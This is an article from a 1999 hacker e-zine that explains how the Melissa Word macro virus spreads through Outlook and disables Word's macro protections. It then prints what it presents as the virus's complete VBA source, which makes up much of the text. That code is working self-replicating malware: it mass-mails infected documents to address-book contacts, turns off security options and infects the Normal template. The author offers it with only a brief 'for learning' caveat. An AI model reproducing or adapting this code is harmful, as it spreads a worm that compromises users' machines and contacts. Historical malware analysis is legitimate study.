::::::::::::::::::::::::::::::::::::::::::::::::::::::::May/99
::: The Discordant Opposition Journal ::: Issue 5 - File 4 :::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:A Look At The Melissa Word Macro Virus:
 By RELM

[The Virus]
Im sure you have heard about the Melissa Virus, Most people have. The Microsoft Word virus known as Melissa started spreading Friday, March26, 1999, This virus spread fast threw the internet. In just a couple of days this virus spread Worldwide and infected Thousands If not Millions of computers around the world faster then any virus to date. This virus spreads when you execute an infected document, If you use Outlook shipped with Internet Explorer 4.+ as your mail client then the Melissa virus would send itself to the first fifty people on your address book. Now the fifty people on your address book would send the virus to another fifty people so on and so on.

[The Job]
The Melissa virus infects MS Word 97 and MS Word 2000 documents and goes about by adding a new VBA5 module named Melissa. Now before the virus attempts to do a mass mailing it looks for the following registry key in the registry: "HKEY_CURRENT_USER\Software\Microsoft\Office\" as "Melissa?" value.
If the virus finds this value in the key "Melissa?" set to the value "... by Kwyjibo" it will not attempt another mass mailing because a mass mailing has allready been done on the current machine. If the virus does not find this value in the key then it will attempt a mass mailing, First the virus would open Outlook then useing MAPI calls it would use the user profile set in Outlook, The virus would then create a new E-mail message with the following subject "Important Message From Joe" (Joe being the user profile), Then the body of the e-mail would say "Here is that document you asked for ...don't show anyone else ;-)", Next the virus would create an attachment to the e-mail and the attachment would be the infected Word document, After this is done the sequence is complete and the messages are mailed to the fifty people on the users address book.

[The Virus Creates Security For Itself]
To create more security the virus deactivates the Tool-Macro Menu is MS Word 97 and in MS Word 2000 it deactivates the Macro-Security Menu. Now to hide its infection activities the virus disables the Save Normal Template Option, The Confirm conversion at Open option and the Macro virus protection option. Doing this would make the user to not be able to know that there is a macro virus in the document.

[Just For Fun]
Once every hour the virus triggers an action, At a certain min (A Minute that is specified) past the hour corresponding to the date, If you open a infected document at the appropriate minute the virus will insert the following text "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." into the infected document.

[Conclusion]
The base of the melissa virus is not unusual, The thing that is unusual about the virus is the way it spreads threw e-mail and how it travels threw the internet in such little time. Now you should by now have a clear understanding of the Melissa Virus and the way it works, I have tried to outline some inportant facts about the virus and hopefully give you a better understanding of it. Everything that I have explained in this document can be clearly seen in the source code at the bottom of this text.


[The Code]
This is the Melissa Word Macro Virus code, I trust that you will use this for nothing more then learning.


/--------The Melissa Word Macro Virus Code: Start--------\




Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If
    
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If
  
If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True 
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub


\--------The Melissa Word Macro Virus Code: End--------/


This concludes the Melissa Word Macro Virus Text written by Relm.
Please Visit The Fallen Angels Webpage At:
http://fallenangelz.cjb.net